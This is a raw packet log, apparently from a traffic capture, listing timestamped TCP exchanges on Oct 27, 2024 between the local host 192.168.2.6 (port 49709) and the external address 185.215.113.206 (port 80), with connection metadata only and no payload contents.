Oct 27, 2024 00:31:06.924331903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.924331903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.924345016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.924377918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.924429893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.924602032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.924654961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.924757004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.924767971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.924813986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.925000906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925014019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925065994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.925358057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925370932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925381899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925416946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.925450087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.925792933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925849915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:06.925982952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.925993919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:06.926043034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.196166039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196214914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196228027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196307898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.196350098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196403027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196413994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196422100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.196423054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196422100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.196435928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.196453094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.196474075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.196500063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.197099924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197112083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197123051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197132111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197141886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197154045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197159052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.197165966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.197187901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.197220087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.198036909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198050976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198060989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198071957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198084116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198093891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198124886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.198163986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.198298931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.198977947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.198993921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199016094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199027061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199035883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199043036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.199048996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199059963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199086905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.199086905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.199122906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.199950933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199963093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199973106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199984074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.199995041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200021982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.200056076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.200917006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200928926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200939894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200951099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200962067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200973034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.200977087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.200984001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.201000929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.201035023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.201035023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.201833963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.201847076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.201858997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.201870918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.201883078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.201894045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.201930046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.201930046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.202533007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.202595949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.202681065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.202692032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.202740908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.244126081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.244214058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.244216919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.244224072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.244302988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.244335890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.244453907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.244467020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.244477987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.244518042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.244553089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.270601988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.270668983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.270679951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.270704985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.270761967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.270942926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.270955086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.270966053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.270977020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.271006107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.271039963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.271557093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.271615028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.271739006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.271752119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.271764040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.271800041 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.271831989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.272166967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.272176981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.272188902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.272200108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.272212029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.272222042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.272253990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.272284985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.272861958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.272917986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.311630011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.311667919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.311681032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.311749935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.311799049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.359570980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.359642029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.359654903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.359699965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.359751940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.359997988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.360008955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.360047102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.360080957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.385827065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.385885000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.385896921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.385940075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.385940075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.385940075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.386126995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386140108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386307955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.386466980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386480093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386537075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.386709929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386723042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386773109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.386943102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386956930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386969090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386980057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.386991024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.387006998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.387053013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.387742043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.387757063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.387769938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.387808084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.387834072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.430983067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.431010008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.431020975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.431082964 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.431082964 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.475214958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.475267887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.475279093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.475341082 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.475405931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.475477934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.475492001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.475502014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.475533962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.475562096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.501375914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.501410007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.501421928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.501499891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.501543999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.501632929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.501681089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.501760960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.501773119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.501811981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.501853943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.502146006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502159119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502171040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502182961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502199888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.502254963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.502254963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.502845049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502859116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502870083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502882957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.502897024 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.502926111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.502948999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.503469944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.503525972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.542607069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.542643070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.542655945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.542851925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.542862892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.544003963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.909739971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.909759998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.909770966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.909863949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.909981012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.909992933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910003901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910015106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910027027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910029888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.910064936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.910090923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.910797119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910809040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910820007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910831928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.910841942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.910866976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.910881042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.911550999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.911561966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.911571980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.911577940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.911590099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.911593914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.911601067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.911607027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.911639929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.912389040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912421942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912427902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912436962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912442923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912446976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912453890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.912480116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.912508011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.912508011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.913336992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913347960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913357973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913369894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913378954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913379908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.913391113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913402081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.913405895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.913428068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.913455963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.914280891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914292097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914300919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914313078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914320946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914325953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.914331913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914345026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.914350033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.914369106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.914381027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.915263891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.915276051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.915285110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.915297031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.915301085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.915307999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.915322065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.915347099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.916191101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916203976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916213989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916224003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916229963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.916235924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916248083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916256905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.916259050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.916289091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.916304111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.917052984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917093992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.917150021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917161942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917186975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.917201042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.917475939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917488098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917498112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917510033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917519093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.917548895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.917978048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.917989969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918000937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918015003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918021917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.918025970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918037891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918041945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.918070078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.918081045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.918812990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918853998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.918855906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.918893099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:07.919020891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:07.919032097 CEST	80	49709	185.215.113.206	192.168.2.6
